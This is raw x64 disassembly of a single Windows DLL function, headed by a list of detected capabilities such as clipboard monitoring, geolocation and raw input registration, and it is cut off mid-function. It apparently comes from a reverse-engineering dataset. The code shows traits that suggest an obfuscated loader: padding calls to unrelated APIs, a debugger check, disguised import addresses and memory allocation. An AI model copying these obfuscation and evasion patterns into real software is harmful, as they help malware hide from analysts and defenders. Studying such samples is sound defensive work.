Function at 0x1800054f0
Capabilities:
Accept command line arguments
Get common file path
Get geographical location
Identify system language via api
Monitor clipboard content
Query environment variable
Read .ini file
Read file on windows
Register raw input devices

Disassembly:
mov dword [rsp + 8], ecx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x488]
sub rsp, 0x588
xor r12d, r12d
mov dword [rbp + 0x4d8], r12d
call fcn.18006cfd8
mov ebx, eax
mov eax, 0x51eb851f
imul ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub ebx, ecx
inc ebx
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx r15d, word [rbp + 0x10]
add r15d, 0xfffffffc
xor r14b, r14b
lea rax, [0x180125680]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
mov dword [rbp + 0x100], r12d
mov qword [rbp + 0x108], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x140], r12b
mov esi, 1
mov dword [rbp + 0x4d8], esi
lea rax, [0x1801197a8]
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0xe4], 0x98
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xe8]
call fcn.180017470
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rdi, [0x180125538]
mov qword [rbp + rcx + 0x40], rdi
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.180015ca0
nop
lea r13, [0x180119788]
cmp r15d, 4
ja 0x180005820
lea r9, [0x180126448]
mov edx, esi
xor ecx, ecx
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbp + 0x4e8]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x30]
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x4e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x180005666
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea rdx, [rbp + 0x160]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r12
lea rax, [rbp + 0x160]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180005695
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x40]
call fcn.18001a260
nop
mov r8d, 0x1b
lea rdx, [0x180126468]
lea rcx, [rbp - 0x40]
call fcn.180016060
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov esi, 5
mov dword [rbp + 0x4d8], esi
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x180005739
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005734
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006ad0
call fcn.180066f90
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov r8d, 2
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x270]
call fcn.180011c10
cmp qword [rbp + 0x2f8], 0
setne r14b
mov rax, qword [rbp + 0x270]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x270], rdi
mov rax, qword [rbp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x26c], edx
lea rcx, [rbp + 0x278]
call fcn.1800117e0
mov rax, qword [rbp + 0x270]
movsxd rcx, dword [rax + 4]
lea rax, [0x1801197a8]
mov qword [rbp + rcx + 0x270], rax
mov rax, qword [rbp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x26c], edx
mov qword [rbp + 0x318], r13
lea rcx, [rbp + 0x318]
call fcn.180065cc4
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x180005820
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000581b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006ad6
call fcn.180066f90
mov r8d, dword [0x18010d350]
cmp r8d, 0xbd90ccd0
jne 0x18000599f
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitCommEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
lock dec dword [r12]
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
lea rax, [0x180126488]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [0x1801264c8]
xor edx, edx
lea rcx, [0x180126500]
call qword [sym.imp.KERNEL32.dll_FindNLSStringEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalLock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfoEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTimeEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleHistoryInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryDepthSList]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
mov word [rsp + 0x20], r12w
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetGeoInfoW]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
mov r8d, dword [0x18010d350]
mov esi, dword [rbp + 0x4d8]
mov eax, 0x55555556
imul ebx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp ebx, ecx
jne 0x180005a3c
movsxd rcx, dword [rbp + 0x4d0]
call fcn.1800677c4
mov rdi, rax
cmp dword [0x18010d350], 0x1cb5576
jne 0x180006465
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_AddClipboardFormatListener]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
jmp 0x180006465
mov eax, ebx
and eax, 0x80000003
jge 0x180005a4c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1800061bb
call fcn.18006cfd8
and eax, 0x80000003
jge 0x180005a67
dec eax
or eax, 0xfffffffc
inc eax
inc eax
test al, 1
jne 0x1800060ed
mov dword [rbp + 0x4d8], 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add rax, 0x298
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x298
xor eax, eax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r12
mov ecx, 0x10
call fcn.18006707c
mov qword [rax + 8], r12
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
mov qword [rax], rcx
mov word [rbp - 0x60], 0
mov qword [rbp - 0x5a], r12
mov qword [rbp - 0x52], r12
xor eax, eax
mov word [rbp - 0x5d], ax
mov byte [rbp - 0x5b], al
mov word [rbp - 0x5a], ax
mov byte [rbp - 0x58], al
mov word [rbp - 0x57], ax
mov byte [rbp - 0x55], al
mov word [rbp - 0x54], ax
mov byte [rbp - 0x52], al
mov word [rbp - 0x51], ax
mov byte [rbp - 0x4f], al
mov word [rbp - 0x4e], ax
mov byte [rbp - 0x4c], al
mov dword [rsp + 0x6c], r12d
mov dword [rbp - 0x64], r12d
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rbp + 0x270]
lea r8, [rbp + 0x4d8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.180021340
nop
lea rcx, [rsp + 0x70]
call fcn.180024330
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], r12
mov edx, 0x10
call fcn.180066f90
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add rax, 0x180
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x180
xor eax, eax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r12
mov ecx, 0x10
call fcn.18006707c
mov qword [rax + 8], r12
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
mov qword [rax], rcx
mov word [rbp - 0x60], 0
mov qword [rbp - 0x5a], r12
mov qword [rbp - 0x52], r12
xor eax, eax
mov word [rbp - 0x5d], ax
mov byte [rbp - 0x5b], al
mov word [rbp - 0x5a], ax
mov byte [rbp - 0x58], al
mov word [rbp - 0x57], ax
mov byte [rbp - 0x55], al
mov word [rbp - 0x54], ax
mov byte [rbp - 0x52], al
mov word [rbp - 0x51], ax
mov byte [rbp - 0x4f], al
mov word [rbp - 0x4e], ax
mov byte [rbp - 0x4c], al
mov dword [rsp + 0x6c], r12d
mov dword [rbp - 0x64], r12d
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rbp + 0x270]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.180020ff0
mov edi, dword [rsp + 0x64]
lea rcx, [rsp + 0x70]
call fcn.180024330
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], r12
mov edx, 0x10
call fcn.180066f90
mov dword [rbp + 0x4d8], r12d
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
add rax, 0x1df
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x1df
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
mov ecx, 0x10
call fcn.18006707c
mov qword [rax + 8], r12
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x78]
mov qword [rax], rcx
mov word [rbp - 0x58], 0
mov qword [rbp - 0x52], r12
mov qword [rbp - 0x4a], r12
xor eax, eax
mov word [rbp - 0x55], ax
mov byte [rbp - 0x53], al
mov word [rbp - 0x52], ax
mov byte [rbp - 0x50], al
mov word [rbp - 0x4f], ax
mov byte [rbp - 0x4d], al
mov word [rbp - 0x4c], ax
mov byte [rbp - 0x4a], al
mov word [rbp - 0x49], ax
mov byte [rbp - 0x47], al
mov word [rbp - 0x46], ax
mov byte [rbp - 0x44], al
mov dword [rsp + 0x74], r12d
mov dword [rbp - 0x5c], r12d
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rbp + 0x4d0]
lea r8, [rbp + 0x4d8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.180020c90
mov rbx, qword [rsp + 0x68]
lea rcx, [rsp + 0x78]
call fcn.180024330
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x78], r12
mov edx, 0x10
call fcn.180066f90
mov qword [rbp + 0x4e8], rbx
lea rcx, [rbp + 0x160]
call fcn.18000feb0
nop
lea rdx, [0x180126538]
lea rcx, [rbp + 0x160]
call fcn.180018f80
mov rcx, rax
lea rdx, [rbp + 0x270]
call fcn.180018f80
mov rcx, rax
lea rdx, [0x180126534]
call fcn.180018f80
lea rdx, [0x180126560]
lea rcx, [rbp + 0x160]
call fcn.180018f80
test dil, 0x10
je 0x180005d85
lea rdx, [0x180126580]
lea rcx, [rbp + 0x160]
call fcn.180018f80
test dil, 1
je 0x180005d9e
lea rdx, [0x1801265a0]
lea rcx, [rbp + 0x160]
call fcn.180018f80
test dil, 2
je 0x180005db7
lea rdx, [0x1801265c0]
lea rcx, [rbp + 0x160]
call fcn.180018f80
test dil, 4
je 0x180005dd0
lea rdx, [0x1801265d8]
lea rcx, [rbp + 0x160]
call fcn.180018f80
test dil, 0x20
je 0x180005de9
lea rdx, [0x1801265f0]
lea rcx, [rbp + 0x160]
call fcn.180018f80
bt edi, 0xb
jae 0x180005e02
lea rdx, [0x180126610]
lea rcx, [rbp + 0x160]
call fcn.180018f80
bt edi, 0xe
jae 0x180005e1b
lea rdx, [0x180126630]
lea rcx, [rbp + 0x160]
call fcn.180018f80
bt edi, 8
jae 0x180005e35
lea rdx, [0x180126650]
lea rcx, [rbp + 0x160]
call fcn.180018f80
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov ecx, 7
mov qword [rbp - 8], rcx
mov word [rbp - 0x20], r12w
or esi, 0x10
mov dword [rbp + 0x4d8], esi
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
mov edx, dword [rbp + 0x1d8]
mov eax, edx
and al, 0x22
cmp al, 2
je 0x180005ea7
mov rax, qword [rbp + 0x1a8]
mov r8, qword [rax]
test r8, r8
je 0x180005ea7
mov rax, qword [rbp + 0x188]
mov rdx, qword [rax]
mov qword [rbp - 0x40], rdx
cmp r8, qword [rbp + 0x1d0]
cmovb r8, qword [rbp + 0x1d0]
sub r8, rdx
sar r8, 1
mov qword [rbp - 0x38], r8
jmp 0x180005eed
test dl, 4
jne 0x180005ee5
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax]
test r9, r9
je 0x180005ee5
mov rax, qword [rbp + 0x180]
mov rdx, qword [rax]
mov qword [rbp - 0x40], rdx
mov rax, qword [rbp + 0x1b8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, r9
sar r8, 1
mov qword [rbp - 0x38], r8
jmp 0x180005eed
mov r8, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
test rdx, rdx
je 0x180005eff
lea rcx, [rbp - 0x20]
call fcn.180012ce0
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x20]
cmp rcx, 7
cmova rax, qword [rbp - 0x20]
mov qword [rbp + 0x4e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rax, 0x170
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x170
xor eax, eax
mov word [rsp + 0x60], ax
mov byte [rsp + 0x62], al
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov ecx, 0x10
call fcn.18006707c
mov qword [rax + 8], r12
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x68]
mov qword [rax], rcx
mov word [rbp - 0x68], 0
mov qword [rbp - 0x62], r12
mov qword [rbp - 0x5a], r12
xor eax, eax
mov word [rbp - 0x65], ax
mov byte [rbp - 0x63], al
mov word [rbp - 0x62], ax
mov byte [rbp - 0x60], al
mov word [rbp - 0x5f], ax
mov byte [rbp - 0x5d], al
mov word [rbp - 0x5c], ax
mov byte [rbp - 0x5a], al
mov word [rbp - 0x59], ax
mov byte [rbp - 0x57], al
mov word [rbp - 0x56], ax
mov byte [rbp - 0x54], al
mov dword [rsp + 0x64], r12d
mov dword [rbp - 0x6c], r12d
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rbp + 0x4e0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.180020940
nop
lea rcx, [rsp + 0x68]
call fcn.180024330
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x68], r12
mov edx, 0x10
call fcn.180066f90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x18000602e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006029
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006adc
call fcn.180066f90
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
add rax, 0x24b
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x24b
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x4e8]
lea rcx, [rsp + 0x50]
call fcn.180019240
mov rdi, rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea rax, [0x180125780]
mov qword [rbp + rcx + 0x160], rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x15c], edx
lea rcx, [rbp + 0x168]
call fcn.18000fbf0
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea rax, [0x180125690]
mov qword [rbp + rcx + 0x160], rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x15c], edx
mov qword [rbp + 0x1e8], r13
lea rcx, [rbp + 0x1e8]
call fcn.180065cc4
nop
jmp 0x180006465
movsxd rdx, dword [rbp + 0x4d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x4d8], rax
cmp dword [0x18010d350], 0x8b35a963
jne 0x18000617d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTimeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LookupIconIdFromDirectoryEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowRgnBox]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
mov rax, qword [sym.imp.KERNEL32.dll_LocalLock]
add rax, 0x1a0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x1a0
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x4d8]
lea rcx, [rsp + 0x50]
call fcn.180019240
mov rdi, rax
jmp 0x180006465
test bl, 1
jne 0x18000627f
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x215
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x215
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.180019330
mov rbx, rax
cmp dword [0x18010d350], 0xe72ebdc7
jne 0x180006262
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
lea r9, [0x180126670]
xor r8d, r8d
lea rdx, [0x1801266b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoExEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessMitigationPolicy]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalLock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
movsxd r8, dword [rbp + 0x4d0]
mov edx, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
jmp 0x180006465
cmp r8d, 0x5fd3655e
jne 0x180006355
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolTimer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryThreadProfiling]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileTransactedW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Beep]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWaitEx]
mov dword [rbp + 0x4d8], 4
mov dword [rbp + 0x4e0], 0x3000
mov qword [rbp + 0x4e8], r12
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x1be
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x38], 0x1be
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
mov ecx, 0x10
call fcn.18006707c
mov qword [rax + 8], r12
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x78]
mov qword [rax], rcx
mov word [rbp - 0x58], 0
mov qword [rbp - 0x52], r12
mov qword [rbp - 0x4a], r12
xor eax, eax
mov word [rbp - 0x55], ax
mov byte [rbp - 0x53], al
mov word [rbp - 0x52], ax
mov byte [rbp - 0x50], al
mov word [rbp - 0x4f], ax
mov byte [rbp - 0x4d], al
mov word [rbp - 0x4c], ax
mov byte [rbp - 0x4a], al
mov word [rbp - 0x49], ax
mov byte [rbp - 0x47], al
mov word [rbp - 0x46], ax
mov byte [rbp - 0x44], al
mov dword [rsp + 0x74], r12d
mov dword [rbp - 0x5c], r12d
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rbp + 0x4d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x4d0]
lea r8, [rbp + 0x4e8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.18001ff40
mov rdi, qword [rsp + 0x68]
lea rcx, [rsp + 0x78]
call fcn.180024330
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x78], r12
mov edx, 0x10
call fcn.180066f90
test r14b, r14b
je 0x180006918
cmp r15d, 4
ja 0x180006918
lea rdx, [0x1801266f8]
lea rcx, [rbp + 0x40]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov r14d, 2
mov edx, r14d
lea rcx, [rsp + 0x50]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0xe]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266f0]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp + 0x30]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0xa]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266f0]
call fcn.180017dd0
movzx edx, word [rbp + 8]
mov rcx, rax
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266ec]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp + 0x150]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x10]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266e8]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp - 0x20]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x12]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266e8]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp - 0x40]
